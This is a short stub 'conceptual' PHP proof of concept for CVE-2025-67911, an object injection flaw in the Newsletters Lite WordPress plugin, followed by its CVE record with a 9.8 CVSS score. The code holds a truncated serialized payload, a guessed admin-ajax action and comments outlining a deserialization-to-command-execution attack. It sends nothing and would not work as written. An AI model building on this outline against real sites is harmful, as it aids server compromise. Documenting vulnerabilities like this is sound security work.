CVE-2025-67911

<?php // CVE-2025-67911 PoC - Newsletters Lite Object Injection // This is a conceptual PoC for educational purposes // Malicious serialized payload // In real attack, attacker would craft specific POP chain $malicious_payload = 'O:__PHP_Incomplete_Class:1:{s:...}'; // Example attack vector (conceptual) $attack_url = 'http://target-site/wp-admin/admin-ajax.php'; $data = array( 'action' => 'newsletter_subscription', // or other vulnerable action 'data' => $malicious_payload ); // In practice, attacker would: // 1. Identify vulnerable endpoint that calls unserialize() // 2. Find suitable POP chain gadgets in WordPress/newsletters plugin // 3. Craft payload to execute system commands // 4. Send request to trigger deserialization echo "Conceptual PoC for CVE-2025-67911\n"; echo "Target: " . $attack_url . "\n"; echo "Payload: " . $malicious_payload . "\n"; ?>

{"cve": {"id": "CVE-2025-67911", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:49.960", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in Tribulant Software Newsletters newsletters-lite allows Object Injection.This issue affects Newsletters: from n/a through <= 4.11."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/newsletters-lite/vulnerability/wordpress-newsletters-plugin-4-11-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}